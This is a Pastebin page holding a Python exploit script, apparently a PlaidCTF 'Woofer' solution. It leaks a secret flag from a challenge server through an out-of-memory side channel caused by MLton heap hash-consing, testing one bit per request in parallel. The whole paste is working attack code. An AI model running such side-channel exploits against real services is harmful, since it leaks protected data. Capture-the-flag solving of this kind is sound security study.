Advertisement
jvanbure

Woofer Solution

May 6th, 2018
832
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.91 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. import socket
  3. import BitVector
  4. import threading
  5. import sys
  6. import time
  7. from multiprocessing import Pool
  8.  
  9. try:
  10.     HOST = sys.argv[1]
  11.     PORT = int(sys.argv[2])
  12. except Exception:
  13.     HOST = "127.0.0.1"
  14.     PORT = 1337
  15.     print("Using default host and port {}:{}".format(HOST, PORT), file=sys.stderr)
  16.  
  17. VERBOSE = "-v" in sys.argv
  18.  
  19. # Parallelized and optimized so that we can test that the server is up in under 4 minutes!
  20. # original non-optimized sequential version took 15 minutes to run…
  21. # Side-channel attack:
  22. # The heaps are immutable data structures, so MLton will tend to hash-cons equivalent heaps together.
  23. # When we have many different heaps then, more memory will be used.
  24. # Thus, we make the heaps depend on private values.
  25. # I don't think Mlton will hash-cons mutable data structures (e.g., CTTK integers),
  26. # so we need to make booleans out of them.
  27.  
  28. flag_len = 36 # taken from source code
  29. flag_bits = flag_len * 8
  30. # Note: since this is a bitvector, we're flipping the order
  31. prefix_len = len("PCTF{") * 8
  32. suffix_len = len("}") * 8
  33.  
  34. def gen_program(n, test_val, repeats):
  35.     """If we guess right, our heaps will get hash-consed and we won't OOM
  36.    We must use booleans as integers are not hash-consed and units are indistinguishable
  37.    (In theory, structurally identical functions would work also (as long as they don't contain any integers))"""
  38.     flag_bit_decl = 'let flag_bit = flag / {} % 2 = 1 in\n'.format(2**n)
  39.     test_bit_decl = 'let test_bit = ({} :> private bool) in\n'.format(str(bool(test_val)).lower())
  40.     ALLOCS = 3 # tuned experimentally
  41.     alloc_flags = "; ".join(["ref flag_bit"]*ALLOCS)
  42.     alloc_tests = "; ".join(["ref test_bit"]*ALLOCS)
  43.     payload = "(if true\n then ({})\n else ({}));\n".format(alloc_flags, alloc_tests)
  44.     return flag_bit_decl + test_bit_decl + (payload*repeats) + "()"
  45.  
  46. def check_response(args):
  47.     status = "Bit {:3}: test for {} (allocating 2^{})".format(*args)
  48.     program = gen_program(*args)
  49.     while True:
  50.         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  51.             s.connect((HOST, PORT))
  52.             s.sendall(program.encode('ascii'))
  53.             s.shutdown(socket.SHUT_WR)
  54.             response = s.recv(256)
  55.         if VERBOSE: print(status, end=': ', file=sys.stderr)
  56.         if b'out of memory' in response.lower():
  57.             if VERBOSE: print("Got OOM.", file=sys.stderr)
  58.             return False
  59.         elif response:
  60.             if VERBOSE: print("Got response.", file=sys.stderr)
  61.             # print(response, file=sys.stderr)
  62.             return True
  63.         else:
  64.             print("No response! (waiting one second and retrying)", file=sys.stderr)
  65.             time.sleep(1)
  66.  
  67. intflag = 0
  68. def test_bit(bit, repeats=16):
  69.     if VERBOSE: print("#"*20, "Testing bit", bit, "#"*20, file=sys.stderr)
  70.     while True: # repeat until we found heap that shows difference
  71.         r0 = check_response((bit, 0, repeats))
  72.         r1 = check_response((bit, 1, repeats))
  73.  
  74.         if r0 != r1:
  75.             return int(bool(r0)) << bit # We found a difference
  76.         elif r0: repeats += 1 # Neither case OOMs
  77.         else: repeats -= 1 # Both cases OOMs
  78.         if repeats <= 0:
  79.             print("Server is probably down... waiting 5 seconds to retry", file=sys.stderr)
  80.             time.sleep(5)
  81.             repeats=5
  82.  
  83. # Optimization for ascii flag: only test 7/8 of the bits, assume high bits are 0
  84. unknown_bits = [i for i in range(suffix_len, flag_bits - prefix_len) if i % 8 != 7]
  85.  
  86. intflag = 0
  87. with Pool(3) as p:
  88.     for i, bit in enumerate(p.imap_unordered(test_bit, unknown_bits)):
  89.         intflag |= bit
  90.         print("Progress: {:3}/{:3}".format(i, len(unknown_bits)), end='\r', file=sys.stderr)
  91. print(file=sys.stderr)
  92.  
  93. # Reconstruct flag
  94. flag = BitVector.BitVector(intVal=intflag>>suffix_len, size=flag_bits-prefix_len-suffix_len)
  95. print("PCTF{" + flag.get_bitvector_in_ascii().strip() + "}")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement